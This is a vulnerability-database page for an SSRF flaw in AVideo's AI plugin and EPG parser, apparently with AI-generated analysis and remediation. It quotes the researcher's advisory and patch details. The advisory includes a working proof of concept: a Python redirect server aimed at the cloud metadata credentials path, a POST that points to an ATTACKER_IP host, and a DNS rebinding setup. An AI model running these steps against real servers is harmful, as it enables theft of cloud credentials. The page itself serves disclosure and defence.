AVideo CVE-2026-43884
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to AVideo
-
DeliveryDeploy HTTP redirect server
-
ExploitSubmit malicious URL via AI plugin
-
InstallTrigger file_get_contents() redirect following
-
C2Fetch cloud metadata endpoint
-
ExecuteExfiltrate IAM credentials via thumbnail storage
-
ImpactRetrieve credentials from public media URL
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access (PR:L) to AVideo with permissions to trigger AI image generation or EPG parsing features. The AI plugin endpoint (plugin/AI/receiveAsync.json.php) requires a valid authentication token passed as the 'token' parameter and an ai_responses_id for image generation workflows; these are typically accessible to standard registered users in default AVideo deployments. The EPG parser (objects/EpgParser.php) is invoked during Electronic Program Guide imports, which may require higher privileges depending on deployment configuration. Exploitation succeeds against default installations without special configuration changes - PHP's default follow_location=1 is the vulnerable state. The AVideo server must have outbound HTTP/HTTPS access to both the attacker's redirect server and the target internal resource (cloud metadata endpoint or internal service). Cloud deployments on AWS EC2, GCP Compute Engine, or Azure VMs using Instance Metadata Service v1 (IMDSv1, which accepts simple HTTP GET requests) are highest risk; IMDSv2-only environments (requiring PUT-based session tokens) are not exploitable via this redirect technique. The Changed Scope (S:C) metric reflects that successful exploitation accesses resources (cloud IAM credentials) outside the application's authorization boundary. |
| Impact | Real-world risk is HIGH despite requiring authentication (PR:L). The Changed Scope (S:C) metric correctly models the attack's ability to cross trust boundaries from the web application layer into underlying cloud infrastructure - the attacker gains access to AWS/GCP/Azure instance metadata services that exist outside the application's intended privilege domain. This is not theoretical: cloud metadata endpoints (169.254.169.254) consistently expose IAM role credentials, API keys, and instance identity documents that grant infrastructure-wide access far exceeding the attacker's application-level permissions. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network-accessible exploitation with low complexity and no user interaction; authentication is trivially obtainable in media platforms with user registration. The researcher provides working exploit code (Python redirect server + HTTP POST payloads) and confirms exfiltrated data is stored as retrievable thumbnails. No EPSS score or CISA KEV status provided in source data, but the combination of working public PoC, vendor patch confirmation (GitHub commit 603e7bf7), and detailed 40+ line exploit scenario indicates active testing by security researchers. The DNS rebinding vector compounds risk by enabling localhost access without redirect cooperation. SSVC analysis: Exploitation=POC, Automatable=Yes (authentication is the only barrier), Technical Impact=Total (credential theft enables full infrastructure compromise). Priority: PATCH IMMEDIATELY for any AVideo instance running on cloud infrastructure (AWS/GCP/Azure EC2/Compute/VM instances with metadata services). |
| Exploit ScenarioDerived | An attacker registers an authenticated account on an AVideo platform hosted on AWS EC2, then deploys a simple Python HTTP server returning HTTP 302 redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The attacker triggers AI image generation via POST to /plugin/AI/receiveAsync.json.php with response[data][0][url]=http://attacker.vps:8888/redirect as the image source. AVideo's isSSRFSafeURL() validates the attacker's public IP and passes the check, then file_get_contents() automatically follows the 302 redirect to the instance metadata service without re-validation. The server fetches IAM role credentials and saves them as a video thumbnail. The attacker retrieves the thumbnail image via the public media URL, extracts AWS access keys from the image data, and pivots to full AWS account access using stolen credentials to launch EC2 instances, access S3 buckets, or modify infrastructure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Server-Side Request Forgery (SSRF) in AVideo versions up to 29.0 allows authenticated attackers to exfiltrate cloud metadata credentials and access internal services via HTTP redirect bypass and DNS rebinding attacks. Two endpoints in AVideo's AI plugin and EPG parser validate user-supplied URLs using isSSRFSafeURL() but then fetch them with file_get_contents() using PHP's default automatic redirect following. An attacker supplies a URL to a controlled server returning a 302 redirect to internal resources (e.g., AWS instance metadata at 169.254.169.254), bypassing SSRF protections since only the initial URL is validated. Vendor-released patch available via GitHub commit 603e7bf7. CVSS 7.7 reflects Changed Scope due to cross-boundary access to cloud infrastructure credentials.
RemediationAI
Apply the vendor patch immediately via GitHub commit 603e7bf77a835584387327e35560262feb075db3 (https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3), which replaces vulnerable file_get_contents() calls with the existing url_get_contents() wrapper that disables automatic redirects and validates each redirect hop. No fixed version number is specified in the advisory; administrators should pull from the main branch post-patch commit or monitor for release announcements at https://github.com/WWBN/AVideo. If immediate patching is not feasible, implement the following compensating controls with trade-offs: (1) Block outbound HTTP/HTTPS from the AVideo server to 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 127.0.0.0/8 via host firewall or cloud security groups - this prevents metadata access but may break legitimate internal API integrations; verify no internal services are needed before deploying. (2) Disable AI plugin endpoints and EPG parsing features if not business-critical - this eliminates attack surface but removes functionality. (3) Restrict authenticated user privileges and audit accounts with access to AI image generation features - reduces attacker pool but does not eliminate risk from compromised or insider accounts. Network-level controls are preferred over disabling features. Defense-in-depth: deploy instance metadata service v2 (IMDSv2) on AWS EC2 which requires session tokens via PUT requests, blocking simple GET-based SSRF; similar hardening available on GCP and Azure.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits a Time-of-Check-Time-of-Use (TOCTOU) flaw in PHP's file_get_contents() function when handling HTTP redirects. PHP's default stream context enables automatic redirect following (follow_location=1), meaning the function transparently follows HTTP 30x responses without exposing redirect targets to application code. AVideo's isSSRFSafeURL() function validates DNS resolution and blocks private IP ranges, cloud metadata endpoints, and localhost addresses, but only checks the initially supplied URL. When file_get_contents() follows a redirect, the Location header URL bypasses all validation. The codebase includes a correctly implemented safe wrapper (url_get_contents() in objects/functions.php) that disables automatic redirects, manually parses Location headers, and re-validates each redirect hop through isSSRFSafeURL(), but two critical endpoints (plugin/AI/receiveAsync.json.php and objects/EpgParser.php) call file_get_contents() directly. A secondary DNS rebinding issue (CWE-350) exists where eight of nine isSSRFSafeURL() callers discard the $resolvedIP parameter meant for DNS pinning via CURLOPT_RESOLVE, creating TOCTOU windows where DNS can be re-resolved between validation and fetching. The CPE identifier pkg:composer/wwbn_avideo confirms this affects the PHP/Composer package.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/WWBN/AVideo) · only source for this CVE.
CVSS VectorVendor: https://github.com/WWBN/AVideo
DescriptionCVE.org
Summary
Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the *initial* URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High - CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code - plugin/AI/receiveAsync.json.php (line ~162-165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS!
}Vulnerable code - objects/EpgParser.php (line ~358-362):
if (!isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS!Safe code for comparison - objects/functions.php, url_get_contents():
$opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file_get_contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).
Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently - creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php- 4 call sitesobjects/aVideoEncoder.json.php- 1 call siteplugin/BulkEmbed/save.json.php- 1 call siteplugin/AI/receiveAsync.json.php- 1 call siteobjects/EpgParser.php- 1 call siteplugin/Scheduler/Scheduler.php- 1 call site
PoC
Redirect Bypass PoC
- Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()- Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redirisSSRFSafeURL("http://ATTACKER_IP:8888/redir")resolves attacker IP → public → passesfile_get_contents("http://ATTACKER_IP:8888/redir")follows 302 tohttp://169.254.169.254/...- no SSRF re-check occurs- Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL - isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.
DNS Rebinding PoC
- Configure a domain with TTL=0 DNS that alternates:
- First query: public IP (passes
isSSRFSafeURL) - Second query:
127.0.0.1(reaches internal services)
- Submit
http://rebind.attacker.com/image.jpgto any affected endpoint isSSRFSafeURL()resolves → public IP → passes (discards$resolvedIP)url_get_contents()/file_get_contents()resolves again →127.0.0.1→ SSRF achieved
Impact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
- Cloud metadata endpoints (169.254.169.254) - exfiltrate IAM credentials, instance identity
- Internal services on localhost or private network (databases, admin panels, monitoring)
- Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass - immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);Fix 2 (DNS rebinding - defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.
Credit
Kai Aizen <kai.aizen.dev@gmail.com>
Executive ViewAI
CVE-2026-43884 is a Server-Side Request Forgery vulnerability in AVideo up to version 29.0 that allows authenticated users to bypass URL validation controls and redirect the application server to internal cloud metadata services, potentially exposing AWS credentials and other sensitive infrastructure data. Organizations running vulnerable AVideo versions face credential compromise and lateral movement risks within their cloud environments.
Apply vendor patch. If immediate patching is not possible: restrict AVideo service account IAM permissions to minimum required scope; implement network egress filtering to block access to 169.254.169.254 and other metadata services; disable the AI plugin and EPG parser features until patching is complete; restrict access to AVideo administrative functions to trusted internal networks only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-2hch-c97c-g99x
NVD
CVE.org
EPSS
Exploit-DB